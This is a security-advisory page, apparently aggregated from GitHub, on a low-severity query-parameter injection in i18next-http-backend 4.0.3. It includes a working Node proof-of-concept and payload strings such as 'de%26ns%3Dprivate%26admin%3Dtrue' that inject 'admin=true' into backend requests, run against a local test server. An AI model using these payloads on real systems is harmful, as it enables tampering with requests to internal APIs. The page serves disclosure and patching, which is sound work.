KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 02:31 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-118258

i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2.

At a glance

Exploited
Not known
Severity
3.7 Low (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: i18next-http-backend: 4.0.4. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3cmx-xjww-583x (opens a new tab)

What happened

Summary

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends.

By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.

Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.

Continue reading

Details

The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:

- empty or >128-character values and prototype keys; - .. and \; - /[?#%:\s]/; - control characters.

isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.

if (/[?#%:\s]/.test(v)) return false // utils.js L40, no & or =

interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).

Call sites:

- _readAny builds the load URL with interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64 - create builds the missing-key URL with interpolateUrl(addPath, { lng, ns }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

1. mkdir i18next-poc && cd i18next-poc 2. npm init -y 3. npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0 4. Save the script below as poc.mjs 5. node poc.mjs

// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'

const seen = []
const api = http.createServer((req, res) => {
 seen.push(req.url)
 res.setHeader('content-type', 'application/json')
 res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is.
console.log('[1] direct init')
for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {
 seen.length = 0
 await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })
 console.log(` lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)
}

// 2) Server side: language taken from the request by i18next-http-middleware (default options).
console.log('[2] Express + i18next-http-middleware LanguageDetector')
const i18n = i18next.createInstance()
await i18n.use(Backend).use(middleware.LanguageDetector)
 .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })
const app = express()
app.use(middleware.handle(i18n))
app.get('/', (req, res) => res.send(req.t('hello')))
const web = app.listen(0, '127.0.0.1')
await new Promise((r) => web.on('listening', r))
await wait()
for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {
 seen.length = 0
 await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())
 await wait()
 console.log(` GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)
}
web.close()
api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init
 lng="de" -> API got: /locales/resources.json?lng=de&ns=common
 lng="de?admin=true" -> API got: (no request, refused)
 lng="de&ns=private&admin=true" -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
 GET /?lng=de -> API got: /locales/resources.json?lng=de&ns=common
 GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Impact

This is injection of query parameters (CWE-74, HTTP pa

Affected package ranges reported by GitHub: i18next-http-backend: < 4.0.4

Scores and how they were measured

CVSS base severity

3.7

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3cmx-xjww-583x (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3cmx-xjww-583x, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string (CVE-2026-118258). https://kevwire.com/record/CVE-2026-118258

MLA

"i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string (CVE-2026-118258)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-118258.

Chicago

KEVWire. "i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string (CVE-2026-118258)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-118258.

Evidence summary (plain text)

i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string (Oct 28, 2026).
The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.
CVSS 3.7 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-3cmx-xjww-583x).
Sources:
GitHub-reviewed advisory GHSA-3cmx-xjww-583x: https://github.com/advisories/GHSA-3cmx-xjww-583x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-118258.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 02:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail